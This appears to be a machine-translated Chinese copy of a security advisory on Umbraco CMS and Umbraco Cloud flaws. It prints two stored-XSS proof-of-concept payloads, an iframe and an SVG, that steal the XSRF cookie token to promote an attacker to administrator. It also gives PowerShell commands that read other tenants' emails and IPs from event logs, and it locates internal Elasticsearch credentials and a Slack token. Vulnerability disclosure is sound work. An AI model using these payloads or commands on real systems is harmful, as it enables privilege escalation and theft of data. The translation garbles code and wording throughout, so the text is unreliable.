站得住脚的研究发现多个漏洞Umbraco CMS和Umbraco云CMS平台导致大量的跨站点脚本(XSS)漏洞,和敏感的潜在信息披露内部凭证PII和用户。
Umbraco CMS
身份验证通过iframes XSS存储在富文本编辑器内容- cve - 2020 - 5809
一个存储XSS漏洞存在于Umbraco CMS。经过身份验证的用户可以任意JavaScript代码注入iframes使用TinyMCE富文本编辑器编辑内容时,如TinyMCE默认配置为允许iframes Umbraco CMS。
概念验证
将以下负载在一个良性的/正常内容更新将导致试图升级攻击者的用户id到管理组(由管理员会成功,如果触发)。一旦用户管理员,他们可能安装恶意umbraco包并获得远程代码执行。
< iframe srcdoc = " <脚本> var xhr = new XMLHttpRequest (); xhr。open(“文章”、“umbraco / backoffice / UmbracoApi /用户/ PostSetUserGroupsOnUsers吗?userGroupAliases = writer&userGroupAliases = admin&userIds = < attackerId > ', true); xhr。setRequestHeader (X-UMB-XSRF-TOKEN, document.cookie.match (/ UMB-XSRF-TOKEN = [^;] + / g) [0] .split (“=”) [1]); xhr.send(); > < /脚本”宽度= " 0 "高度= " 0 " > < / iframe >
身份验证通过上传XSS . svg文件存储在媒体- cve - 2020 - 5810
一个存储XSS漏洞存在于Umbraco CMS。经过身份验证的用户授权上传媒体文件可以上传恶意.作为存储XSS负载。
如果攻击者说服另一个用户遵循直接链接到svg文件(http:// < umbracosite > /媒体/ xyz / attack.svg),攻击者将能够执行javascript在受害者的浏览器。
概念验证
以下,保存和上传如svg文件将作为一个存储XSS负载。如果由管理员,将攻击者的用户id添加到管理组。
< svg version = " 1.1 "宽度= =“200”“200”高度xmlns = " http://www.w3.org/2000/svg " > < script type = " text / javascript " > var xhr = new XMLHttpRequest ();xhr。开放(“文章”、“umbraco / backoffice / UmbracoApi /用户/ PostSetUserGroupsOnUsers ? userGroupAliases = writer& userGroupAliases = admin&用户id = < attackerId > ', true);xhr。setRequestHeader (X-UMB-XSRF-TOKEN, document.cookie.match (/ UMB-XSRF-TOKEN = [^;] + / g) [0] .split (“=”) [1]);xhr.send ();svg脚本< / > < / >
路径遍历和任意文件写在包安装cve - 2020 - 5811
经过身份验证的路径遍历Umbraco CMS包安装中存在安全漏洞,导致网站之外的任意文件写入和预期路径在安装一个Umbraco包回家。
在安装包时,文件<文件>的包。xml可以给一个orgPath以外的网站主目录(使用一个相对或绝对路径),允许攻击者工艺恶意包,可以写一个任意文件在任何地方运行web服务器的服务帐户/用户权限。
虽然可以理解它是一个管理的功能,一个包文件以外的地方网站家里会拒绝被卸载,卸载过程检查站点内的文件是家里(与安装过程)。
Umbraco云CMS平台
Umbraco云CMS平台提供用户访问他们Umbraco CMS实例,以及Powershell /控制台访问(通过捻角羚工具)底层Windows Azure托管服务器实例的CMS。
Windows Server实例多租户,这意味着多个用户的个人Umbraco云CMS网站每台服务器托管,各有其独特的网站名称/ id。CMS和捻角羚工具作为低权限运行IIS应用程序池的身份,但是他们仍然有潜在的敏感文件和Windows事件日志包含其他用户的用户名/电子邮件和IP地址。
披露相应的用户名/电子邮件通过Concorde.Messaging.ServiceRelay-Log网站名称/ id
使用powershell scm.s1.umbraco通过捻角羚。io, Umbraco云用户可能会披露其他用户的邮件(和个人网站名称他们属于)通过解析Concorde.Messaging。ServiceRelay-Log事件日志。
用户名是披露的结果的电子邮件被用作文件名backoffice .courier文件。
概念验证
get-eventlog -logname协和*信息“* backoffice \用户*”最新5 |格式表属性信息
示例输出
下面是一个小事件的相关内容包含敏感信息的消息。网站名称和git commit散列值已被移除,和用户名已经改变了我们(电子邮件保护)(_user_tenable.com.courier对应)。
(线程46)- CopyAndCommitHandler:网站<网站名称/ id >,分支“主(参/头/硕士)”——提交
结果:
提交结果:文件致力于“主(参/头/硕士)”在“C: \ DWASFiles \ \ <网站名称/ id > \ VirtualDirectory0网站网站\ \库”,因为成功。
IsCurrentRepositoryHead吗?真(检出主分支?假)
当前版本:<提交>,以前版本:<提交>。
文件:C: \ DWASFiles \ \ <网站名称/ id > VirtualDirectory0 \网站网站\ repository \ \ backoffice \ \ _user_tenable.com.courier用户数据
披露用户IPs(用户名/电子邮件),网站域名和网站名称/ id通过应用程序事件日志
将。net错误个人Umbraco云托管网站登录应用程序事件日志,可以看到用户的IP地址访问网站错误发生时,唯一的站点名称/ id,域名的网站托管。
此外,如果用户经过身份验证的用户/管理员,它将显示他们的用户名/电子邮件。
概念验证
get-eventlog -logname应用程序消息请求URL“* *”最新5 |格式表属性信息
或者,如果专门寻找任何经过身份验证的用户名/ IPs:
get-eventlog -logname应用程序消息“*验证:真*”最新5 |格式表属性信息
示例输出
下面是一个小事件消息的相关部分,网站域名和网站名称/ id删除,和用户名/电子邮件改变了。
请求信息:
请求URL: https:// < domain_name.tld >: 443 / umbraco / backoffice UmbracoApi /宏/ GetMacroResultAsHtmlForEditor
请求路径:
/ umbraco / backoffice / UmbracoApi /宏/ GetMacroResultAsHtmlForEditor
用户主机地址:< IP地址>
用户:(电子邮件保护)
身份验证:真
认证类型:UmbracoBackOffice
线程帐户名称:IIS
APPPOOL \ <网站名称/ id >
信息披露的内部Umbraco ElasticSearch凭证
由于他们的网站以外的用户能够访问文件房屋/本地目录,用户下载Concorde.Messaging.ServiceRelay是可能的。exe从C: \ \ \ MessagingService \部署部署。这包含静态的凭证Umbraco Elasticsearch实例。
然后您可以使用一个工具dnSpy工具阅读。net代码。
的凭证,以及相应的elasticsearch uri,位于SetupElasticsearchClient方法,在Concorde.Messaging.ServiceRelay下的服务类。
![ElasticSearch连接设置](//www.yyueer.com/sites/drupal.dmz.tenablesecurity.com/files/files/advisory/umbraco_elastic_0.png)
披露内部Umbraco松弛用户令牌
文件C: \ KuduService \ \ logcommits \ LogGitCommits.exe工件。配置包含一个松弛用户名和令牌可以用来访问内部Umbraco松弛。
![Umbraco疲软令牌](//www.yyueer.com/sites/drupal.dmz.tenablesecurity.com/files/files/advisory/umbraco_slack.png)